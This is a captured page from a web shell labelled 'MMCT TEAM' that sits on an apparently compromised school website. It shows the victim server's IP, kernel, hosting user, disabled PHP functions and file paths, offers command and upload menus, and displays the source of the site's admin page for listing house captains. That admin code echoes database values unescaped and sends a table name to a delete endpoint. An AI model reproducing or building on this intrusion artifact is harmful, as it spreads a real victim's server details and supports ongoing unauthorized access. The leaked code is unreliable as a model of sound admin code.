MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/admin/house_captain.php
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->

<?php include('include/header.php'); ?>
<style>
    .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {
        vertical-align: middle!important;
        text-align: center;
    }
    .perfacts{
        border-bottom: 2px solid #fff;
        padding: 15px 0;
        margin: 0;
    }
    .perfacts:last-child {
        border-bottom: none!important;
    }
</style>
<div class="breadcome-area">
    <div class="container-fluid">
        <div class="row">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                <div class="breadcome-list">
                    <div class="row">
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                            <div class="breadcomb-wp">
                                <div class="breadcomb-icon">
                                    <i class="icon nalika-home"></i>
                                </div>
                                <div class="breadcomb-ctn">
                                    <h2>House Captain</h2>
                                </div>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</div>

<div class="product-status mg-b-30">

    <div class="container-fluid">

        <div class="row">

            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">

                <div class="product-status-wrap">

                    <h4>House Captain List</h4>

                    <div class="add-product">

                        <a href="add_house_captain">Add</a>

                    </div>

                    <table id="example" class="table table-hover table-striped text-center">
                        <thead>

                    <tr>
                        <th>S.No.</th>
                        <th>Name of the House</th>
                        <th colspan="2">House captain</th>
                        <th colspan="2">House Perfacts</th>
                        <th colspan="3">Strength Of House</th>
                        <th rowspan="2">Action</th>
                    </tr>
                    <tr>
                        <th></th>
                        <th></th>
                        <th>Boys</th>
                        <th>Girls</th>
                        <th>Boys</th>
                        <th>Girls</th>
                        <th>Boys</th>
                        <th>Girls</th>
                        <th>Total</th>
                    </tr>
                </thead>
                    <?php
                    $grand_total=0;
                    $total_boys=0;
                    $total_girls=0;
                    $q = "select house_captain.*,house.house_name from house_captain left join house on house.id=house_captain.house_id";
                    $query = mysqli_query($conn,$q);
                    $i=1;
                    while($res = mysqli_fetch_array($query)) {
                        $total=$res['total_boys']+$res['total_girls'];
                        $grand_total+=$res['total_boys']+$res['total_girls'];
                        $total_boys+=$res['total_boys'];
                        $total_girls+=$res['total_girls'];
                        $boys_perfacts=explode(',', $res['boys_perfacts']);
                        $girls_perfacts=explode(',', $res['girls_perfacts']);
                     ?>
                        <tr>
                            <td><?php echo $i++; ?></td>
                            <td><?php echo $res['house_name'] ?></td>
                            <td><?php echo $res['boys_captain'] ?></td>
                            <td ><?php echo $res['girls_captain'] ?></td>
                            <td class="px-0"><?php
                                foreach($boys_perfacts as $boys){ ?>
                                    <p class="perfacts"><?php echo $boys; ?></p>

                                 <?php } ?></td>
                            <td class="px-0"><?php
                                foreach($girls_perfacts as $girls){ ?>
                                    <p class="perfacts"><?php echo $girls; ?></p>

                                 <?php } ?></td>
                            <td><?php echo $res['total_boys'] ?></td>
                            <td><?php echo $res['total_girls'] ?></td>
                            <td><?php echo $total; ?></td>
                            <td>
                                <button data-toggle="tooltip" title="Edit" class="pd-setting-ed"><a style="color: #fff;" href="edit_house_captain?id=<?php echo $res['id'] ?>"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a></button>

                                <button onclick="del(<?php echo $res['id'] ?>)" data-toggle="tooltip" title="Trash" class="pd-setting-ed"><i class="fa fa-trash-o" aria-hidden="true"></i></button>

                            </td>
                        </tr>


                    </tr>
                <?php } ?>

                <tfoot>
                    <tr>
                        <th colspan="6" style="text-align:right;">GRAND TOTAL</th>
                        <th><?php echo $total_boys; ?></th>
                        <th><?php echo $total_girls; ?></th>
                        <th><?php echo $grand_total; ?></th>
                        <th>Action</th>
                    </tr>
                </tfoot>

            </table>

        </div>

    </div>

</div>

</div>

</div>
<script>
    function del(e) {
        var table_name = 'house_captain';
      var verify = confirm("Do you really want to delete!!!");
      if(verify) {
          $.ajax({
              url: "delete.php",
              type: "POST",
              data: {
                  id: e,table_name: table_name,
              },
              success: function(response){
               location.reload();
           },
       })
      }
  }
</script>
<?php include('include/footer.php'); ?>

MMCT - 2023